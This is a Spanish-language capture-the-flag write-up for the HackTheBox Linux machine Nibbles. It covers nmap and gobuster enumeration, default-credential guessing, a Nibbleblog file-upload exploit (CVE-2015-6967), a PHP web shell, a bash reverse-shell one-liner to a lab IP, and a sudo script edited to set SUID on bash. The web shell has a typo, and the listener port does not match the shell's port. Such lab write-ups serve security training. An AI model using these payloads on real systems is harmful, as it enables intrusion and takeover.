Nibbles

Nibbles
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Linux Easy 13 Enero 2018 mrb3n8132

Reconocimiento

Iniciamos como siempre, lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Nibbles

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima. Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

nmap -sS -sCV -p- --open --min-rate 5000 -Pn -n 10.10.10.75 -oN scan -vvv

Nibbles

Enumeración de servicios

Código fuente:

Nibbles

Blog

Nibbles

Vemos que se esta ejecutando una instancia del CMS Nibble.

Si hacemos un poco de web fuzzing, encotramos algunas rutas interesantes.

gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php --no-error

Nibbles

Entre estas rutas, se encuentra update.php. Si ingresamos a esta, nos encontramos con lo siguiente:

Nibbles

Donde se revela la versión del CMS Nibbleblog 4.0.3.

Explotación inicial

Haciendo una búsqueda en Google, encontramos que esta versión especifica es vulnerable a Arbitrary File Upload (CVE-2015-6967).

Arbitrary File Upload (CVE-2015-6967)

Descargamos el siguiente exploit:

git clone https://github.com/dix0nym/CVE-2015-6967

Para poder ejecutar el exploit, necesitamos credenciales validas, por lo que seguimos enumerando:

Teniendo en cuenta el fuzzing anterior accedemos al admin.php:

Nibbles

Probamos credenciales por defecto:

admin:admin
admin:password
admin:root
root:root
admin:nibbles OK
admin:nibbles

Nibbles

Ahora que tenemos credenciales validas ejecutamos el exploit.

# shell.php
<?php sysytem($_GET['cmd']);
python3 exploit.py --url http://10.10.10.75/nibbleblog/ --username admin --password nibbles --payload shell.php

Nibbles

Para ejecutar nuestra shell, debemos acceder a:

http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php

Y luego ya podemos ejecutar comandos:

Nibbles

Nos ponemos en escucha con netcat por el puerto 80.

Nibbles

Nos enviamos una reverse shell.

bash -c "bash -i >& /dev/tcp/10.10.14.3/443 0>&1"

Nibbles

Ganamos acceso al sistema.

Nibbles

Enumeración / Movimiento lateral

Leemos la flag del user.txt.

Nibbles

Vemos que en el home de nuestro usuario nibbler existe un archivo .zip llamado personal.zip.

Hacemos un unzip del archivo, el cual genera el directorio personal.

Nibbles

Dentro encontramos una carpeta llamada stuff y dentro de esta un script monitor.sh.

Nibbles

Si ejecutamos un sudo -l, podemos observar que podemos ejecutar como root y sin solicitar contraseña el script monitor.sh.

Nibbles


Elevación de privilegios

Para escalar nuestros privilegios, modificaremos el script monitor.sh para asignar permisos SUID a el binario bash.

Nibbles

Ejecutamos el script.

sudo -u root /home/nibbler/personal/stuff/monitor.sh

Y de esta forma, escalamos nuestros privilegios.

Nibbles Por ultimo, leemos la flag de root.txt

Nibbles